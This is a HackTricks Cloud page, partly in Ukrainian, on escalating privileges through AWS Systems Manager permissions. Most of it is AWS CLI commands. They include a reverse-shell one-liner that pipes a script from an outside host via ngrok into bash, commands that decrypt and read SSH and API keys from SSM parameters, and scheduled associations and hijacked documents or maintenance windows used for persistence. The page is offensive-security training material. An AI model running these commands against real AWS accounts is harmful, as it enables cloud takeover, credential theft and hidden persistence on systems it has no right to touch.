AWS - SSM Privesc
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
SSM
Для більш детальної інформації про SSM дивіться:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Атакувальник із дозволом ssm:SendCommand може виконувати команди на інстансах, що працюють з Amazon SSM Agent, і скомпрометувати IAM Role, яка там виконується.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
У разі якщо ви використовуєте цю technique для підвищення привілеїв всередині вже compromised EC2 instance, ви можете просто захопити rev shell локально за допомогою:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Потенційний вплив: Пряма privesc до EC2 IAM roles, прикріплених до запущених instances з запущеними SSM Agents.
ssm:StartSession
Зловмисник із дозволом ssm:StartSession може запустити SSH-подібну session в instances, де працює Amazon SSM Agent, і compromise IAM Role, що виконується всередині неї.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
Caution
Щоб почати session, вам потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potential Impact: Direct privesc до EC2 IAM roles, прикріплених до запущених instances з працюючими SSM Agents.
Privesc to ECS
When ECS tasks run with ExecuteCommand enabled users with enough permissions can use ecs execute-command to execute a command inside the container.
According to the documentation this is done by creating a secure channel between the device you use to initiate the “exec“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)
Therefore, users with ssm:StartSession will be able to get a shell inside ECS tasks with that option enabled just running:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Potential Impact: Direct privesc to the ECSIAM roles attached to running tasks with ExecuteCommand enabled.
ssm:ResumeSession
Зловмисник із дозволом ssm:ResumeSession може відновити SSH-подібну сесію на інстансах, де запущено Amazon SSM Agent, із від’єднаним станом SSM-сесії та скомпрометувати IAM Role, що працює всередині неї.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Потенційний вплив: Direct privesc до EC2 IAM ролей, attached до running instances з SSM Agents running і disconected sessions.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
An attacker with the mentioned permissions is going to be able to list the SSM parameters and read them in clear-text. In these parameters you can frequently find sensitive information such as SSH keys or API keys.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Можливий вплив: Знайти чутливу інформацію всередині параметрів.
ssm:ListCommands
Зловмисник із цим дозволом може перелічити всі commands, надіслані, і, сподіваємось, знайти в них чутливу інформацію.
aws ssm list-commands
Potential Impact: Знайти чутливу інформацію всередині command lines.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
Attacker з цими permissions може перелічити всі commands, що були надіслані, і read the output згенерований, сподіваючись знайти в ньому sensitive information.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Можливий вплив: Знайти sensitive information всередині output командного рядка.
Використання ssm:CreateAssociation
Атакувальник із permission ssm:CreateAssociation може створити State Manager Association, щоб automatically execute commands на EC2 instances, якими керує SSM. Ці associations можна налаштувати на запуск через фіксований interval, що робить їх придатними для backdoor-like persistence без interactive sessions.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Цей метод persistence працює доти, доки EC2 instance керується Systems Manager, SSM agent запущений, і attacker має permission створювати associations. Він не потребує interactive sessions або явних permissions
ssm:SendCommand. Important: параметр--schedule-expression(наприклад,rate(30 minutes)) має відповідати мінімальному інтервалу AWS у 30 minutes. Для негайного або одноразового виконання повністю опустіть--schedule-expression— association виконається один раз після створення.
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
Attacker з permissions ssm:UpdateDocument і ssm:UpdateDocumentDefaultVersion може підвищити privileges, змінюючи existing documents. Це також дозволяє persistence всередині цього document. На практиці attacker також потребував би ssm:ListDocuments, щоб отримати names для custom documents, і якщо attacker хоче обфускувати свій payload всередині existing document, ssm:GetDocument також буде необхідний.
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
Нижче наведено приклад документа, який можна використати для перезапису наявного документа. Вам потрібно переконатися, що тип вашого документа відповідає типу цільових документів, щоб уникнути issues з innvocation. Документ нижче, наприклад, працюватиме для прикладів ssm:SendCommand та ssm:CreateAssociation.
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
Зловмисник із дозволами ssm:RegisterTaskWithMaintenanceWindow та ssm:RegisterTargetWithMaintenanceWindow може підвищити привілеї, спочатку зареєструвавши новий target в існуючому maintenance window, а потім оновивши реєстрацію нового task. Це забезпечує execution на існуючих targets, але може дозволити зловмиснику скомпрометувати compute з різними roles, зареєструвавши нові targets. Це також дозволяє persistence, оскільки maintenance windows tasks виконуються за заздалегідь визначеним інтервалом під час створення window. На практиці зловмиснику також знадобиться ssm:DescribeMaintenanceWindows, щоб отримати maintenance window IDs.
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Codebuild
Також можна використовувати SSM, щоб потрапити всередину codebuild project, який збирається:
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
HackTricks Cloud

